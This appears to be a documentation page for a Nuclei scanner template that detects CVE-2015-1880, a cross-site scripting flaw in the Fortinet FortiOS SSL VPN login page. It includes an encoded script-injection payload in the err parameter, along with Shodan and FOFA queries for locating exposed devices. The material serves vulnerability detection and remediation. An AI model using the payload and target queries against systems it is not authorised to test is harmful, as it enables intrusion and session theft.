Fortinet FortiOS <=5.2.3 - Cross-Site Scripting
ID: CVE-2015-1880
Severity: medium
Author: pikpikcu
Tags: cve2015,cve,xss,fortigates,intrusive,fortinet
Description
Section titled “Description”Fortinet FortiOS 5.2.x before 5.2.3 contains a cross-site scripting vulnerability in the SSL VPN login page which allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
YAML Source
Section titled “YAML Source”id: CVE-2015-1880
info: name: Fortinet FortiOS <=5.2.3 - Cross-Site Scripting author: pikpikcu severity: medium description: Fortinet FortiOS 5.2.x before 5.2.3 contains a cross-site scripting vulnerability in the SSL VPN login page which allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Upgrade Fortinet FortiOS to a version higher than 5.2.3 to mitigate this vulnerability. reference: - https://www.c2.lol/articles/xss-in-fortigates-ssl-vpn-login-page - http://www.fortiguard.com/advisory/FG-IR-15-005/ - https://nvd.nist.gov/vuln/detail/CVE-2015-1880 - http://www.securitytracker.com/id/1032261 - http://www.securitytracker.com/id/1032262 classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N cvss-score: 4.3 cve-id: CVE-2015-1880 cwe-id: CWE-79 epss-score: 0.00201 epss-percentile: 0.58077 cpe: cpe:2.3:o:fortinet:fortios:5.2.0:*:*:*:*:*:*:* metadata: max-request: 1 vendor: fortinet product: fortios shodan-query: - http.html:"/remote/login" "xxxxxxxx" - http.favicon.hash:945408572 - cpe:"cpe:2.3:o:fortinet:fortios" - port:10443 http.favicon.hash:945408572 fofa-query: - body="/remote/login" "xxxxxxxx" - icon_hash=945408572 tags: cve2015,cve,xss,fortigates,intrusive,fortinet
http: - method: GET path: - "{{BaseURL}}/remote/login?&err=--%3E%3Cscript%3Ealert('{{randstr}}')%3C/script%3E%3C!--&lang=en"
matchers-condition: and matchers: - type: word part: body words: - <script>alert('{{randstr}}')</script>
- type: word part: header words: - text/html
- type: status status: - 200# digest: 4b0a00483046022100fb08e753ece6ec9904b8b20c876734f70f4ae80e6ba5a57b8e06293e2621ef79022100cd089c00bade380742a82799f7fa0832d9fc00cc6f1cb8d7b1613f4ecdf17a5b:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2015/CVE-2015-1880.yaml"